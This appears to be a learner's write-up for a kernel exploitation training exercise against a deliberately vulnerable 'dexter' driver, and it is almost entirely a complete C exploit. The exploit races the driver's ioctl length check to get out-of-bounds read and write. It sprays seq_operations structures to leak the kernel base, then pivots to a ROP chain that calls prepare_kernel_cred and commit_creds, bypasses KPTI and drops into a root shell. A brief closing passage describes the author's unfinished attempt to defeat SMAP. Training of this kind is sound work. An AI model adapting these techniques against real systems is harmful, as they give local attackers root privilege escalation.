LK03 (Dexter)

      #include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define VULN_DEV_DEVICE_NAME "dexter"
#define VULN_DEV_BUFFER_SIZE 0x20
#define VULN_DEV_CMD_GET 0xdec50001
#define VULN_DEV_CMD_SET 0xdec50002

#define KERNEL_BASE 0xffffffff81000000
#define SEQ_OPERATIONS_START 0xffffffff81170f80
#define SEQ_OPERATIONS_START_OFFSET (SEQ_OPERATIONS_START - KERNEL_BASE)
#define FAKE_STACK_ADDRESS (0xf6000000)
#define MOV_ESP_0xf6000000_OFFSET (0xffffffff81520224 - KERNEL_BASE)
#define MOV_ESP_0xf6000000 (kernel_base + MOV_ESP_0xf6000000_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0cd - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729b0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8110d88b - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8163d0ab - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072810 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

static void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
  printf(
      "[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, "
      "user_rflags: "
      "0x%016lx\n",
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts("[+] Get shell!");
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

typedef struct {
  char* ptr;
  size_t len;
} request_t;

static int vuln_dev_fd = -1;
static request_t vuln_dev_req = {
    0,
};
static int vuln_dev_set(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_SET, &vuln_dev_req);
}
static int vuln_dev_get(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &vuln_dev_req);
}

static int race_success = 0;
static void* vuln_dev_race(void* arg) {
  const size_t len = (size_t)arg;
  while (!race_success) {
    vuln_dev_req.len = len;
    usleep(1);
  }
  return NULL;
}
static void vuln_dev_oob_read(void* out, size_t len) {
  if (len <= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_get(out, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  *(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&th, NULL, &vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_get(out, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }
    if (*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
      race_success = 1;
    }
  }
  pthread_join(th, NULL);
}
static void vuln_dev_oob_write(void* data, size_t len) {
  if (len <= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_set(data, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  void* tmp = malloc(len);
  *(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&th, NULL, &vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_set(data, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }

    while (1) {
      if (vuln_dev_get(tmp, VULN_DEV_BUFFER_SIZE)) {
        continue;
      }
      if (*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
        break;
      }
    }

    if (!memcmp(tmp, data, len)) {
      race_success = 1;
    }
  }
  free(tmp);
  pthread_join(th, NULL);
}

static uint64_t kernel_base = 0;

int main() {
  char char_buf[0x800];
  uint64_t* uint64_buf = (uint64_t*)char_buf;
  srand(time(NULL));
  save_state();

  int seq_ops_spray[800] = {
      0,
  };
  for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       ++i) {
    seq_ops_spray[i] = open("/proc/self/stat", O_RDONLY);
  }
  vuln_dev_fd = open("/dev/" VULN_DEV_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd < 0) {
    fatal("open " VULN_DEV_DEVICE_NAME);
  }
  for (int i = sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    seq_ops_spray[i] = open("/proc/self/stat", O_RDONLY);
  }

  int seq_ops_start_idx = -1;
  vuln_dev_oob_read(char_buf, sizeof(char_buf));
  for (int i = 0; i < sizeof(char_buf) / sizeof(uint64_t); ++i) {
    if ((uint64_buf[i] & SEQ_OPERATIONS_START_OFFSET) ==
        SEQ_OPERATIONS_START_OFFSET) {
      kernel_base = uint64_buf[i] - SEQ_OPERATIONS_START_OFFSET;
      seq_ops_start_idx = i;
      break;
    }
  }
  if (seq_ops_start_idx == -1 || kernel_base == 0 ||
      (kernel_base & 0xFFFFF) != 0) {
    fatal("kernel_base");
  }
  printf("[+] kernel_base: 0x%16lx @ idx: %d\n", kernel_base,
         seq_ops_start_idx);

  void* fake_stack = mmap(
      (void*)(FAKE_STACK_ADDRESS - 0x8000), 0x10000, PROT_READ | PROT_WRITE,
      MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  uint64_t* rop = (uint64_t*)(FAKE_STACK_ADDRESS);
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafebe01;
  *rop++ = 0xdeadbeefcafebe02;
  *rop++ = (uint64_t)(get_shell);
  *rop++ = (uint64_t)(user_cs);
  *rop++ = (uint64_t)(user_rflags);
  *rop++ = (uint64_t)(user_sp);
  *rop++ = (uint64_t)(user_ss);

  uint64_buf[seq_ops_start_idx] = MOV_ESP_0xf6000000;
  vuln_dev_oob_write(uint64_buf, 8 * (seq_ops_start_idx + 1));

  for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    read(seq_ops_spray[i], char_buf, 0x100);
  }

  for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    close(seq_ops_spray[i]);
  }

  return 0;
}

Exercise (with SMAP)

I tried writing exploit code with SMAP enabled. But I failed. I think that any registers cannot be controlled when using seq_operations to control RIP.

My inference to exploit with SMAP:

  1. Find kmalloc-32 object containing reference count
  2. Using heap overflow, make UAF object.
  3. Do cross-cache attack and exploit UAF.

Or just find a good kmalloc-32 object with RIP controll primitives with register controll or AAW primitives, ETC. But I cannot find the good object…

Currently, I does not know what is cross-cache attack and how SLUB works. Therefore I decide to delay solving this exercise until I study SLUB and cross-cache attack, ETC.

Reference